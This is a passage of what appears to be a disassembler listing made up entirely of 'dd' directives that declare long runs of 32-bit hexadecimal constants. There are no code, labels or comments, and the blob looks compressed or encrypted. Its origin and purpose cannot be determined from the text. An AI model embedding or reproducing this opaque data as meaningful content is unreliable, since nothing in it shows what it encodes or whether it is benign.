		dd 579D5A79h, 60349472h, 22A203EAh, 0BADEB200h,	6C7DE929h
		dd 12F50030h, 409D595h,	3602135Ah, 2DA36656h, 0A534F3AFh
		dd 4F642445h, 3E521A60h, 2260861Dh, 0B8BC98EFh,	982959B0h
		dd 1EAF2002h, 30900ADBh, 180B9BF0h, 167AFFB9h, 0E8701ED0h
		dd 0C29D809Bh, 64C646B0h, 0E58C50F9h, 24843EF8h, 4724CAF0h
		dd 0FE604833h, 46AC145Eh, 0C08F3EAEh, 65050397h, 85015024h
		dd 0FC4A80A4h, 720AEFD5h, 8C8D5273h, 93BC942Fh,	9C525830h
		dd 0CBD21800h, 0B6F7A2BDh, 5E6E17E5h, 0EB180556h, 804D908h
		dd 0FC001A04h, 17D9A1Ch, 0B80FCFF5h, 1DB9121Ch,	1FFC800Ah
		dd 0F74DC7FEh, 0FBCACh,	0BDB5505Bh, 0FF3DD299h,	2EA64227h
		dd 111DFC98h, 0ED04B225h, 13AA4020h, 703A9FCh, 65D23104h
		dd 0DDACE81Ah, 52089614h, 3BDAC84h, 9648CFh, 9963FBD1h
		dd 55AC2170h, 9D61802Dh, 80D79144h, 0A036F542h,	41AB095Fh
		dd 8E4D5BFh, 5CD3A10Eh,	0A8003312h, 1110BE8Ah, 10090C7h
		dd 60BD18BAh, 2A277D85h, 0FC943C30h, 21B60039h,	305754E6h
		dd 890999A2h, 657F58h, 7BD7B97Dh, 90620061h, 0B0B2D9BBh
		dd 96BE51h, 8078B525h, 932E28B3h, 36030EA0h, 4DDB9E95h
		dd 0B8B82E8Bh, 0A8911A74h, 0B64044CFh, 0A23A2ACh, 2D8C139Ch
		dd 3C0408BCh, 8A4E702h,	0AABC40C8h, 4319140Ah, 0D082A45Eh
		dd 0DCA0B348h, 20B8AB0Fh, 92FF8404h, 0D08830CAh, 0B6E00229h
		dd 3ACFEBA6h, 74AC5C44h, 0A0B42FECh, 65415F40h,	47F607F0h
		dd 10D99AF4h, 0C63624E1h, 6A2D2100h, 0A6140D5Ah, 806107CFh
		dd 595C45DAh, 0D664F4C7h, 8D499A60h, 1C45BD00h,	4D5A5C59h
		dd 355B0186h, 1260B8FAh, 79EC2D0Eh, 0D464E341h,	0D472829Fh
		dd 0C624520Dh, 0FC002026h, 8B430E11h, 0D7176084h, 0B5110FCh
		dd 80C8C836h, 9CD82F1Ah, 657CB9EBh, 0C4084E25h,	6C242054h
		dd 68208498h, 594D7C35h, 0BF121CD0h, 70031F3Dh,	4ED85830h
		dd 896C7C13h, 10BC7401h, 18208CD1h, 0B20E28E2h,	0B5D50584h
		dd 40726BDEh, 1B3EBA8Ch, 0D73C9EA6h, 804E33h, 889B35D3h
		dd 5919FDB1h, 0B8114A5Eh, 0E9CA4030h, 130EEE00h, 4619A201h
		dd 0BE7F2035h, 59B24C34h, 2EBCA47Bh, 620095ECh,	71772FB5h
		dd 5CCA4555h, 5B800C17h, 0EA600D90h, 5488084Eh,	5AED03A3h
		dd 359DAED0h, 5564C7D0h, 31B8C58h, 0CC85B6E3h, 0ED6903D4h
		dd 0C81B8FFDh, 6FAE9880h, 38F8762Ch, 1F3D2174h,	50A23B83h
		dd 86B8A8CBh, 24A8FA33h, 2018D995h, 1D7F10C8h, 821F7CCCh
		dd 0E70026B1h, 4741DF14h, 9415140Eh, 8D00E8D3h,	0E5A0608Fh
		dd 8100C96Ah, 95825B23h, 80B9A5A3h, 4E807D2Bh, 6986304Ch
		dd 5B665E58h, 0D59BA800h, 0AC8A46F6h, 9C3C5D3Dh, 9032A715h
		dd 0D3624209h, 9523E810h, 0F9ACE28Bh, 6E2D16B8h, 9A8F0008h
		dd 49CFCD6Ch, 8459CFB2h, 0C8FC8B96h, 856FC3C7h,	0D03C97C8h
		dd 0C14D4230h, 88C6CC11h, 600D376h, 0ACB45EB0h,	0EC99B6h
		dd 3D3B93BFh, 892F2AA7h, 5A732B00h, 54047E5Eh, 5E44BE5Fh
		dd 46014846h, 0E0E56EBBh, 0C4202FF3h, 3ACD946Fh, 1504EB37h
		dd 0B070DE56h, 402BA04h, 0E47C5C2Ch, 0B1106041h, 0AC20046h
		dd 779ABEE7h, 0A79DD7F0h, 21B91A44h, 0B545C14h,	1CB2B470h
		dd 49170366h, 8878ED18h, 2C4E1F02h, 9C720BEBh, 8CF37B20h
		dd 91089797h, 8A1C804Dh, 87BE6Dh, 74E38C06h, 0CA31FB86h
		dd 0F4BCF8A9h, 3D00E676h, 45C93314h, 2E4AF34h, 0FFE0D811h
		dd 0BC80F2CAh, 0B9FB988Ch, 0C93A84Bh, 3406008Dh, 0BD1387D8h
		dd 60E8A75h, 0E73C584Dh, 679DFF8h, 27313F20h, 0BCA9A942h
		dd 40907909h, 0B44B1BBEh, 0C488D8CBh, 4A25CCC0h, 0EFAC012Bh
		dd 53266B2Fh, 9AA711C6h, 44746180h, 6D0E3B42h, 0F24D1A01h
		dd 5138DDBEh, 7CADF042h, 44A4A4h, 8F08368Dh, 121F1A5Eh
		dd 0BCDE7D64h, 3229B440h, 70A211CCh, 0A65A09F7h, 0B024E33Dh
		dd 160C60E7h, 954876FDh, 9FB496h, 0CFC66630h, 0ACD75C3Eh
		dd 23CB0416h, 19C780Ch,	0AD3C04Ah, 0CDCBFC4h, 2B9A6FFFh
		dd 0BC7F09A9h, 8015E938h, 0E8AFCEA4h, 4D6E75Fh,	4DE1085Eh
		dd 0F2A8B21Fh, 6D0930F4h, 0FEF2AE01h, 0BA73C029h, 24FA11C0h
		dd 25B8B753h, 9CC0ACEDh, 13D6E8h, 4E94E522h, 0A25C51EEh
		dd 0F842384Fh, 0DB26B5ADh, 0A38178B4h, 18B89E02h, 7E42C2F9h
		dd 0E29C1304h, 3032F208h, 5D00DE9Dh, 22FB21C0h,	9570BE46h
		dd 4E0AC48Fh, 0AD2008Ch, 0B3348D7Ch, 14C21724h,	1F9B0902h
		dd 79BC89D3h, 18317990h, 0FBEE0151h, 0CA645915h, 26C892CBh
		dd 285B3000h, 13EFF674h, 0E5A4BAA0h, 8785F078h,	1999A200h
		dd 46F9CE4Bh, 8C096F5h,	0A1043A7Ch, 0B4AD4A66h,	24001CACh
		dd 0DD7FB35Fh, 31EE999h, 2115C1Ah, 0AF020E2h, 18B4D037h
		dd 1D4D4674h, 3EF434h, 0B26BABDAh, 919FB9Dh, 7F9A593Ch
		dd 8882CCA5h, 2004FE64h, 0F589539Eh, 3CA124E3h,	0A70C1Fh
		dd 7ADD0109h, 0BFF161A0h, 83212963h, 0AC6900D1h, 0B93832CDh
		dd 0E107B0F2h, 0D8EE20F4h, 6A18B8DAh, 41552999h, 10E46CCEh
		dd 0AD09C580h, 0A0E0943Dh, 1B282561h, 0E6D380E5h, 1452D4E0h
		dd 9C44CE5Ch, 0CF7A3E01h, 1DBC123h, 0D0296442h,	0EE4B7209h
		dd 16099058h, 0AFF718h,	15F11F90h, 4E1E41FEh, 0CE308834h
		dd 0C579FEC0h, 0C0639CC4h, 4A9E83B8h, 8F38DBA1h, 0A47CE217h
		dd 60660F26h, 0E084B1F8h, 0C8D11C91h, 0D3066718h, 6E8063D0h
		dd 24980B19h, 948B6BBCh, 744078AAh, 0B418EFh, 95DDD4A2h
		dd 5C4DC649h, 0C0C143E6h, 0A17C6484h, 0F8475065h, 904BB8D0h
		dd 9CE52DBEh, 0D6D4C060h, 1ED0D70Dh, 2F3F5909h,	4D2388h
		dd 5BA491EAh, 0D3C0726h, 63FB012Dh, 0DAA1AC85h,	0A3E1856Fh
		dd 30EEB26Ch, 0DC3B20A1h, 266A8EE6h, 0B1F8C0EBh, 0E48B319h
		dd 5A323697h, 3F283099h, 0D823182Eh, 758DEA00h,	43F44Fh
		dd 0AF385B97h, 0CAB915D1h, 3CE4BE24h, 9FEAAE81h, 4234B7Bh
		dd 1730C6A2h, 883122Fh,	3E782F4Dh, 6800C38Eh, 0B4FB0B2Dh
		dd 658A7D8h, 30DD0000h,	0F1D52996h, 0CF7314CBh,	0BE81DC71h
		dd 7DD20918h, 0C86A3E4Ch, 0A1EF25C4h, 0D8E58D58h, 4D380E3Ah
		dd 4CC350BBh, 995F1005h, 1CA932D7h, 57668200h, 0FAEFE9Eh
		dd 77B2B809h, 9160974Dh, 0F90C8027h, 3FB9273h, 34B2918h
		dd 81ABA119h, 35DB52B8h, 32C42CA5h, 6C8EBF60h, 0CC068209h
		dd 247AC9h, 0E2E05DCEh,	2F4E4DD7h, 0B2440101h, 0BE6F7389h
		dd 99C4BAF4h, 0CC4C158Ch, 90045B8h, 53F216D3h, 7A54C82Fh
		dd 14304ED6h, 0D6E94898h, 9A8130h, 1CE9CCB2h, 3E64739Dh
		dd 58D1320Eh, 0CA978283h, 44D4479Fh, 5F436048h,	51C93AB0h
		dd 50DDAA86h, 8425A852h, 0E420E521h, 72226032h,	187739B8h
		dd 10FBA901h, 25925C2Ah, 0B8E43DC8h, 0AD0313A3h, 40C8047Bh
		dd 0AA420428h, 94E0C4C9h, 30640289h, 71B3CDCAh,	0F240F47Eh
		dd 6275Ah, 0C3456A53h, 748494C2h, 0B38B4E01h, 0E14C359Eh
		dd 2804492Fh, 0D6C47C45h, 0B7ED6260h, 0C727C802h, 0C01705E5h
		dd 8BBD6CA0h, 4D12D92h,	2160AC73h, 2E002C62h, 88FBD485h
		dd 123A55E8h, 0ED49ACh
		dd 94A79AE4h, 76093119h, 9B53DF6h, 79B879C4h, 3E183Dh
		dd 8B5716DEh, 0A0801021h, 64213460h, 0C5D6EBh, 28FE0395h
		dd 627985EDh, 0E1ACF117h, 4BE00914h, 24235C2Fh,	0AFBC1D00h
		dd 0B4889453h, 88421608h, 60F854E8h, 9AC8295h, 717C514Dh
		dd 601E1827h, 6342A0BBh, 58D2A04Bh, 0D61ED86Fh,	1097FC03h
		dd 0C01CA179h, 8C32C648h, 7213CCD9h, 8C17B5BCh,	7380C891h
		dd 0D01871EAh, 204BCF27h, 0A4823024h, 29EE0BD8h, 3C00605Ch
		dd 61429763h, 70735Dh, 0F58020FFh, 0E84626B6h, 12920253h
		dd 8A4BB504h, 3044A067h, 0DCF47460h, 0F876487Dh, 99D0E0C0h
		dd 295742A3h, 0D1749F93h, 0F84B18CBh, 0EEB900A9h, 6A30C7E8h
		dd 2502666Fh, 0FA74204Ah, 8B3CDC86h, 7C85BF38h,	23342BB0h
		dd 0B45800BEh, 4A8CFD41h, 11F65C01h, 8C4A573h, 8DC40E7Ah
		dd 0F845FC45h, 0FFA84000h, 6CB6D9D6h, 0A8F524E0h, 0FCE0F65Ch
		dd 7008C4Ch, 59F6FA71h,	0C81CFBBh, 0CD8320BDh, 0E1733069h
		dd 708EF003h, 0D84EF821h, 0D8CCBEDh, 0D04CEE48h, 5F53F0D8h
		dd 4C379Dh, 0D8787A21h,	0DC04CAF1h, 73BE5E53h, 0E4F0BCC1h
		dd 0EA128429h, 85801FF5h, 0B68BCCB9h, 75CCE0A0h, 0AB9A0361h
		dd 3ECB9D2h, 1FC4F2B4h,	0F080BDF6h, 1D1C8D01h, 0C0D20EE7h
		dd 96E0E3A6h, 54311110h, 20CB5F4Ah, 0DCC04EC8h,	0E8F23D3h
		dd 7ECA0B6Dh, 0B121154Ch, 0BCDE5B13h, 618AC4A0h, 14F1183Ah
		dd 4A502CEBh, 0B7871CDBh, 0ED0FF12Fh, 347CFEC4h, 4C345514h
		dd 8CEEE83Ch, 0A546213Ch, 8044632Ch, 3529AFDDh,	8E59E5DAh
		dd 0C0F4C838h, 2A097EA8h, 10C99F27h, 80BD4C08h,	40203E63h
		dd 0A4A12F2Ch, 8FA6C68h, 2016473Fh, 31FD1869h, 0A1BD41CBh
		dd 4CA4B500h, 0A5039249h, 2A7838AEh, 0CC12C22Fh, 0F006CF9h
		dd 9B3AED84h, 820200ECh, 4796BC7Eh, 0EA021CD4h,	0AECE4B13h
		dd 8362E081h, 4B2710Bh,	0CA7371DAh, 9854822Bh, 74F804C4h
		dd 0F8854801h, 0C6ADC992h, 11C3420h, 0A3264027h, 0C06266C5h
		dd 7CB499BEh, 12F3465Eh, 18A2389Ah, 91ADE003h, 36E0FA54h
		dd 0A298C80Ah, 0D200C170h, 3E37885Ah, 9560445Dh, 81F5C11h
		dd 0D4DE5A12h, 4478C114h, 10886665h, 122D3928h,	32E234C5h
		dd 0F683181Fh, 85205802h, 5925CFF1h, 0A0359210h, 4609FD10h
		dd 0D278A0C6h, 73AE174h, 109D1F44h, 0EB3E79B1h,	0F4040B02h
		dd 56015CA8h, 0F30A3C34h, 9A43B0Ch, 0AC85E029h,	188CBDAAh
		dd 0A5D9C837h, 86964CA2h, 43606500h, 291642F9h,	0DB200112h
		dd 84E050A6h, 0D51756FAh, 54B05401h, 27961ED3h,	647C04E1h
		dd 1B3CF08Bh, 4DE3C9Ch,	1C471A78h, 9A0ACBDh, 806F989Fh
		dd 1FF429C4h, 0BF0A04C8h, 0B82D4AD5h, 8CEEB810h, 10E8AD48h
		dd 0EA167C48h, 37FCD036h, 8201B0BCh, 43680175h,	53F427FCh
		dd 901259A1h, 805CDB5Fh, 1A9647EFh, 7940946h, 402FF11h
		dd 9055CA31h, 495635Ch,	45DA8CC5h, 2064B14Ch, 6F403008h
		dd 13D0FBFh, 19235CAh, 0BAE74900h, 0ECDDF066h, 814484Dh
		dd 0A7AFC14h, 0C7C5829h, 0B39142A7h, 3BB9F200h,	0C8AAFB56h
		dd 99270120h, 3116D57Eh, 0A2298CC0h, 0D0CE1B0h,	8DD92E64h
		dd 0D03C2078h, 0E0237641h, 0D9F41BC2h, 506C5312h, 48017264h
		dd 458C0C30h, 845039E8h, 0DD1F3CCEh, 0A19F5879h, 642D591Ah
		dd 0BA18405Ah, 2A8E17C6h, 410D156h, 7C5BE8BFh, 877D1C27h
		dd 118429FCh, 0DB4E4CA8h, 0C0098FB4h, 1E8E2066h, 0DCA35817h
		dd 4488EC26h, 5521415Ch, 9C438924h, 0CCB3C49Fh,	6B31F3B2h
		dd 8310526Eh, 0B2AA3248h, 0F411289Dh, 0B356B482h, 0DBA5091h
		dd 1ACAA85Ah, 4DCB03B4h, 0D0FA4A5Ch, 11F09D55h,	19668049h
		dd 0CCA528Ah, 0DD4DAC38h, 0BE165AF0h, 948ED9B2h, 61C34EC8h
		dd 0FF84F865h, 0C22A32C6h, 0CCD0D3B0h, 5E28DC09h, 4B0C0E95h
		dd 646847B3h, 0C09C60D2h, 10870249h, 7018EE4Dh,	0C47840EAh
		dd 1303D9Fh, 0AA693309h, 27E1E5h, 40C4CE47h, 958EAC3h
		dd 25640810h, 0A647831Ah, 2013C20Ch, 18F13483h,	60F0F826h
		dd 0FB4C3193h, 0A42228h, 0AF344D7Ch, 35DBE1F1h,	19024F01h
		dd 53C06A3Ch, 72A946C0h, 322F0077h, 0CFC4767Ah,	0CA2FFCF6h
		dd 440047CBh, 7DBC60C5h, 4BA4B499h, 9064E47Bh, 93571FC7h
		dd 0B7D03F40h, 0BA0E1C88h, 0C78600F2h, 0B4E7104h, 0CEF76300h
		dd 0C513F365h, 8CAF18B9h, 67E830C4h, 71572D0Fh,	9B34741h
		dd 0C0E5081Ch, 2D7FCF21h, 0DB0EFB76h, 602C7A86h, 0B01B3BA8h
		dd 0DCE1001Ah, 9B0AEA37h, 12F4C78Ah, 30A0C529h,	5C2D7C01h
		dd 0E3180971h, 74C888h,	24BFA62Dh, 807D64C9h, 5D929E01h
		dd 8E86E646h, 2C0165E8h, 0C213BE5h, 70E93091h, 0E2860900h
		dd 162B02DEh, 13FF6C2h,	0D2D96F29h, 80ECB3F8h, 0F6E1C428h
		dd 0FA72B29Bh, 6AB0C0D3h, 44D053A0h, 51C89033h,	22F39824h
		dd 93A329B2h, 0BF0560ACh, 470653F2h, 4AF8C6A4h,	0A0C43D19h
		dd 9F343A03h, 2094F745h, 14205AB1h, 8C93F3B2h, 6201BE23h
		dd 79715A2Dh, 0CA00BC4Eh, 75522D7Ah, 94002A3Bh,	7B66C0CCh
		dd 6064378Ch, 0AD0608Eh, 0F450D65Dh, 8B90C794h,	2DE09DF9h
		dd 0B3C87A06h, 22973E29h, 3C0DB580h, 0CC34EC29h, 9B632874h
		dd 0A83A7521h, 0FC07F749h, 6E496h, 462E6662h, 7DB7C485h
		dd 689C7A30h, 0AC41D052h, 27E2CE9Ch, 48315B69h,	0E91820h
		dd 8A3C6DDCh, 466CF412h, 94E7ED2Ah, 0CF825C00h,	0E3F1DBB3h
		dd 8E11143h, 64811C89h,	23A0B414h, 2D6301BDh, 1861715Bh
		dd 7BCB88E1h, 5F0380BDh, 7510BF23h, 0F41AFAEFh,	1C79C0E5h
		dd 0BE984BF0h, 4E008D71h, 842E5967h, 0F2668C7h,	0B874F01h
		dd 0B30ED0Dh, 0CF3F887Ch, 0A21D5E60h, 2A248673h, 0E106C49Ah
		dd 1FA98E0Ch, 0DBD2EF09h, 0A1EAF8E9h, 18474C41h, 21F208B8h
		dd 20C4ABB2h, 0F2A00440h, 5000FE96h, 0CAAA3F76h, 90650AE5h
		dd 6ABC127Ch, 86182016h, 644DC25Fh, 0BBA2304h, 29842D66h
		dd 0D48E59h, 52D7ECEh, 3666F71h, 152A1F13h, 2179F9ACh
		dd 0CF014Ch, 0B9325BD1h, 5B0B446Ah, 0E21ACEFh, 0AA867170h
		dd 0B200809Eh, 46C991F5h, 0ED3924B4h, 5CF040D4h, 673D624Bh
		dd 6FC80C48h, 0C0F60870h, 4B44AF21h, 4D00C092h,	0F3BE180Bh
		dd 9A2E998Ch, 4D4A7B70h, 0E064009Fh, 2D6160BBh,	51712359h
		dd 0CD00FF11h, 0B03D2D79h, 0A399B85h, 0F784945h, 60B3813h
		dd 64109D66h, 603AB87Ch, 23634B5Dh, 0F4114067h,	4B45AE00h
		dd 0D60DFD0Ch, 0BB90FA01h, 6CBE4F82h, 0C0FF2AE4h, 0DF856758h
		dd 6A204CF8h, 0C43485B5h, 733560F3h, 0D4C35C26h, 2E548600h
		dd 0BE71BD2Ch, 94893A28h, 88F1724h, 9A45B283h, 4B8012EFh
		dd 0BFB4482Fh, 5D2D7DC0h, 0FC18E371h, 375C988h,	0FDC3A02Dh
		dd 0C5D331E0h, 0E8781848h, 0F3048CFFh, 2E0BE595h, 65058C80h
		dd 0B29E1973h, 0C087B8B5h, 4B03D85h, 36092E72h,	0B17B882Ah
		dd 0B4E42374h, 2224460Dh, 3B723A98h, 404F319Ch,	9C43F5B9h
		dd 0C700CDA1h, 0A362F448h, 3C2EDEFDh, 699AF7B0h, 2C8738B4h
		dd 4D7A419Ah, 23B032DCh, 44211E75h, 62340DB6h, 3974239Dh
		dd 93572CA8h, 8E580F00h, 30EF63F8h, 0D0296051h,	0B498BD3h
		dd 0E2D29915h, 4A1401E8h, 90115142h, 6304E0CEh,	3C090540h
		dd 3CCDC79h, 9D4EF79Ch,	309F3105h, 949212CDh, 8B522568h
		dd 63DE74h, 14B233B9h, 19041D86h, 0F7365D63h, 2FB31481h
		dd 317FBC42h, 0DB0E427h
		dd 87800453h, 0F2503F4Eh, 7B2B61A8h, 0D2951853h, 733EB9E0h
		dd 2A9D6200h, 0F569310Eh, 7A1E00B3h, 6F632C39h,	7301B665h
		dd 74DC6488h, 40DAFE9Eh, 20312908h, 0DF0B2D5Dh,	1D7FD9A7h
		dd 80E41114h, 0F57D26EAh, 0B13700AFh, 0B0800F89h, 0F060AD2Fh
		dd 7A0C9F29h, 31D202B9h, 0C64534F7h, 0E8F49C48h, 6B37C8C3h
		dd 10F15068h, 257D8C79h, 140DB211h, 708E8188h, 0AAB9A03Dh
		dd 1EA84B8h, 0D1135CE2h, 5C58531h, 0B7D64A03h, 0C4784C5Dh
		dd 788C3DF8h, 86E624h, 54B048A2h, 0D4EFA73h, 70366526h
		dd 1D186BAh, 0B1781939h, 18E2D1E8h, 9A660090h, 5FDEF34Bh
		dd 99311967h, 578501Ah,	8C3D6C30h, 664B5804h, 0F7622867h
		dd 4B40AB20h, 74490094h, 86E92838h, 0D9C1CF70h,	0E1FD1AB3h
		dd 130CCC20h, 47E7A245h, 0AD891368h, 48944218h,	50427063h
		dd 30F4E240h, 5D009CD0h, 3634B558h, 54C6939Bh, 0BFE08Dh
		dd 289ADA3Eh, 35CEE577h, 3A860B09h, 3540995h, 1D4B0CC4h
		dd 61937B1h, 21E2BE87h,	0F5D1F491h, 9103DC18h, 8B12BD16h
		dd 1BBC0CB6h, 8AF0FB61h, 6C34480Dh, 4ED8A14Ch, 10021284h
		dd 3DAEBC22h, 42EA0735h, 594D9D27h, 500AF8ECh, 0FE87D4CCh
		dd 3EB42345h, 674B5907h, 0F8622014h, 4B41AA20h,	0D9E3016Ah
		dd 30E08A20h, 0F700F28Bh, 12EDF87h, 330D3146h, 1F97A45h
		dd 0EFE1E1C4h, 47B79442h, 60FF4438h, 9BC3E5Eh, 1A7D6C81h
		dd 12B36420h, 88A0D1E5h, 0FE7A4532h, 0D9738A9h,	0FFE21822h
		dd 123BA130h, 190D62D2h, 30B15938h, 10B1E262h, 268F7E11h
		dd 1C0DB122h, 71118331h, 0CF0BD43Eh, 0E254DDA0h, 1752CD25h
		dd 803F1104h, 26B5C60h,	25CA0109h, 0E13962C7h, 0B7698032h
		dd 63EC0A4Fh, 22551313h, 23542F2Ah, 878E3B9Fh, 4572310h
		dd 1D847A8Ch, 0F8B3AF40h, 96539FFh, 90A34989h, 0E3F17011h
		dd 100799B3h, 22E13163h, 0D8DBB124h, 0AA5931C3h, 49606EC7h
		dd 759D5DA7h, 2647BA00h, 0ECB06764h, 457A14C7h,	9CF8C8FFh
		dd 0E6F008Ch, 0FB7E6866h, 722EA1D2h, 1884446Ch,	75011655h
		dd 239DF6B6h, 30F9E2E4h, 970CCB74h, 19FCD2ADh, 15F02CC2h
		dd 45BB0087h, 516B5A89h, 39C14Ch, 0B6FAA407h, 0C4EE8FF7h
		dd 0A4AFD031h, 200079C4h, 0E3B9DC1Dh, 754ACC1h,	0DD3F29C5h
		dd 7123003Bh, 954006B6h, 0CACF24B1h, 8C244930h,	4B5F6038h
		dd 7067297Dh, 47904060h, 2B09E64Bh, 0C6347E81h,	40457C4Ch
		dd 100C339Ch, 695B0C87h, 0ACBA1874h, 937DB1F7h,	80910B3Dh
		dd 0ADC56C8Ch, 0A5A1CE6h, 56B0D6D8h, 480808B0h,	1AB1180Bh
		dd 0C440C5B0h, 79BF609Eh, 0BD5B16EAh, 0DFA80042h, 0CEC42757h
		dd 28982A68h, 0B7932047h, 0D848520Dh, 503877C7h, 59B735D5h
		dd 0C8072724h, 48E3200h, 14088653h, 80F62275h, 0A11BCD09h
		dd 8ACECCC0h, 0FB5E403Ah, 21D1CCB9h, 0F6009E18h, 0F58F5FDBh
		dd 137B786Fh, 9009E144h, 969E7128h, 0F804874Fh,	549422F9h
		dd 7E6F0898h, 0D22411C6h, 1D7B043Ah, 0E892225Dh, 0D308169Dh
		dd 7848281h, 0A20CD012h, 30502D9Eh, 0B5174246h,	0B3470BF3h
		dd 112344B1h, 4171BD0Bh, 4C254A20h, 0FA01D5B6h,	0F49FEF0Ah
		dd 313060B8h, 0B021A924h, 0B9F74E88h, 392050D8h, 4901B5F2h
		dd 60759B0Bh, 8050F5ADh, 0E603B411h, 70EF029Eh,	407B8FC9h
		dd 624ADC41h, 0F9670474h, 0BE4E21DAh, 464C8233h, 0F9E478C5h
		dd 405D4760h, 0E9D21718h, 4571B19h, 0E013FB95h,	3A10D476h
		dd 0FB2330h, 732E3BA4h,	0B54C28D8h, 4D128BE4h, 85560E4h
		dd 131D5B11h, 81402870h, 0EEDA4A67h, 444B26D4h,	0D0595A08h
		dd 4918F759h, 0A345A804h, 0FC820495h, 0D9412FCFh, 0FA368180h
		dd 2F4450E4h, 79C0912Dh, 1EA189Bh, 0E8A614ADh, 30C2747Eh
		dd 4A2C45E8h, 74ACC8F8h, 0BB5D0A63h, 9C1824F2h,	0E46D4904h
		dd 539468C0h, 0DEAD0054h, 64B5025Fh, 185CB6E1h,	962859Ch
		dd 18287088h, 0B98E6934h, 3E307D0Ch, 193788E8h,	8C2A0FCDh
		dd 0F38110EEh, 0D28934BBh, 73FCE161h, 303EA200h, 0C455D5FDh
		dd 274D40E4h, 8260C6F7h, 3CA03781h, 0B7FCDh, 0A6EDEC77h
		dd 4113E192h, 5A655604h, 0FC994A60h, 0E2BC0838h, 15011E8Ch
		dd 658B80D4h, 4651B8DBh, 574BAA1Ah, 8184B750h, 7DB4ED4Fh
		dd 0B12C64B2h, 93B86A5Dh, 81C8048Ah, 0A05FABC1h, 8BB04420h
		dd 0D145A807h, 68C33904h, 0AF191886h, 1897E1F1h, 168E721Dh
		dd 6406E067h, 710709A0h, 24A3E686h, 392635E1h, 46DC30B7h
		dd 0E41701F6h, 24848D23h, 938ECC2h, 0CDB2E087h,	0CA4F3402h
		dd 0E513DC44h, 1C80E2F8h, 0B4C6B9F1h, 75290A90h, 888845E4h
		dd 478A53CCh, 602144E4h, 3B5DEDh, 90175013h, 0C782464Fh
		dd 0E7007891h, 0D1A70D6Ah, 486758C1h, 982FA61Ah, 6F01EC6Ch
		dd 38685BC7h, 0D0E1404Dh, 38ECB86Ch, 0C7C6098Ch, 9D002ECEh
		dd 0D2B2B3CCh, 87A4E601h, 3BB445C4h, 95AC058h, 5867604Bh
		dd 0AD00F81Ch, 78304B42h, 8EE94h, 0C5D6C986h, 23A6E0E7h
		dd 18A7380h, 0BF65F749h, 241D1886h, 0C95293FCh,	87B006C8h
		dd 1611CB08h, 9B55DDB3h, 2B5C8090h, 5286A329h, 87009471h
		dd 60AEB65Fh, 0E0BBE6Fh, 26EA169h, 0E4804F9Ch, 392E2004h
		dd 0EBB2380Fh, 0FC031393h, 0E6EDDC1Dh, 0D22BA0A9h, 57A60082h
		dd 6F15AFF0h, 5202FF17h, 0C7C513DCh, 0F5ECA188h, 0B4F03ECDh
		dd 0C0BC07F8h, 0F97661C6h, 0B064C400h, 825B650Bh, 10ED6C0Bh
		dd 96EA8Ch, 3E050FA4h, 0AA06A29h, 63648101h, 0FDD18431h
		dd 0E0E8082Ch, 55A018Ch, 0CF33319h, 0E8D06885h,	97EE8C9Bh
		dd 4E096A37h, 0AC9F9000h, 0D969CFF2h, 0EB634E40h, 9A2E535Ch
		dd 0F60F404Bh, 47BF209Ch, 5116F3Ah, 9F344222h, 0B5D88051h
		dd 0B209785Ch, 90D16962h, 0FE688754h, 80D4C25h,	0E1A20453h
		dd 1F0BBA30h, 0B937A723h, 0C98B6118h, 29C08FACh, 9A2CB8A8h
		dd 27977CF1h, 0E8807501h, 604E8673h, 83DC496h, 0A4FDBD26h
		dd 0E3465CF4h, 4324CB00h, 4BE70334h, 16C8075Ch,	10CB3CC4h
		dd 51CA9CC8h, 27018712h, 3E99D2F1h, 2DD19C34h, 94812131h
		dd 7D174E71h, 243721A4h, 8AA03DC0h, 849CC72Ah, 2490AF4Ah
		dd 12C34A25h, 0A33B958Eh, 309CA290h, 80AACEAh, 872B4FEBh
		dd 87DB1200h, 37E1651Dh, 0C1A01556h, 2B4D286h, 0FEB4F020h
		dd 3955E31h, 42B1898Ch,	1965A906h, 3FD93835h, 6FC0B6BEh
		dd 31C0D375h, 3D32C647h, 3533048Eh, 0CC590D87h,	48C4090h
		dd 0B226F3B3h, 93843h, 0DE66F2BBh, 0D3C9F96Ch, 37E3FCA3h
		dd 0E90B87C3h, 0A2A60D0Ch, 0F256ED50h, 0F0F70380h, 0C831297Bh
		dd 16AC3942h, 203F6F91h, 51053823h, 60E4E4D2h, 21B40082h
		dd 1F6AC185h, 8CF20EA4h, 935074ECh, 1894B7DCh, 5F9F00F6h
		dd 86762A1Ch, 91043F7Fh, 81EE758Ch, 83844D0Bh, 8D480F8h
		dd 0FD617665h, 0B68D4518h, 544824D7h, 818F0840h, 0E620FC20h
		dd 6F290931h, 0B071DB64h, 0E518FC79h, 0EB889F02h, 9F5B0C86h
		dd 802391F0h, 79DC083Dh, 27073B8Dh, 0AE98884Bh,	0D1515F1Fh
		dd 620B82BAh, 0E08736B0h, 8363A650h, 0CA7783CFh, 49D93101h
		dd 606A4B0Bh, 73DBA860h, 0DD731681h, 0C81C8B7Fh, 206BC09Eh
		dd 4A017C45h, 0F9B04E35h, 8C64EEACh, 48979512h,	4E80E511h
		dd 3B29590Eh, 62341A05h, 0E404EF54h, 0E707F37Dh, 1D638289h
		dd 8600FC5Ch, 24C9DF47h, 5EE90B80h, 24C40A87h, 89C1121Bh
		dd 0D9FDF229h, 18F47980h
		dd 0D5B80092h, 3B847DF1h, 14B08C2Eh, 184F7E24h,	0B12BA08h
		dd 749FCF42h, 809D2191h, 0CBCF4B16h, 0D90B2DBEh, 0C8C75B9Ah
		dd 7C56248h, 0FF8B3902h, 71C1BE40h, 65EA9Eh, 0E684EB11h
		dd 4B0A05EEh, 91C91AB2h, 0D891F450h, 804A0B4Ah,	81F2A4C0h
		dd 38B0628Eh, 2846DF85h, 53AF8200h, 52EA6628h, 9FCF642h
		dd 0C77527A9h, 7C2C2890h, 61461900h, 0DA5F9E70h, 0AECE0077h
		dd 670B64DBh, 87EAEC98h, 810AE02Fh, 4ED573E4h, 0E8D0747Ch
		dd 25DB2910h, 0F044E4B6h, 58A50419h, 0C124CAC5h, 1B432A0h
		dd 0C6234E1h, 22B9D104h, 25CC056Ah, 0FEF230E2h,	1EB98930h
		dd 0E8BA6577h, 0B13224E3h, 5278B194h, 0E0850090h, 0C8266FC2h
		dd 0B379E00h, 0E94E839Ah, 303F3822h, 64124B56h,	0CB3867h
		dd 4B5EA900h, 0B9C2D6BDh, 0FF7D390Fh, 0B34FA074h, 0A4FD7245h
		dd 2ACA2784h, 0A8D3C042h, 0B0F4B70h, 360352D8h,	73503501h
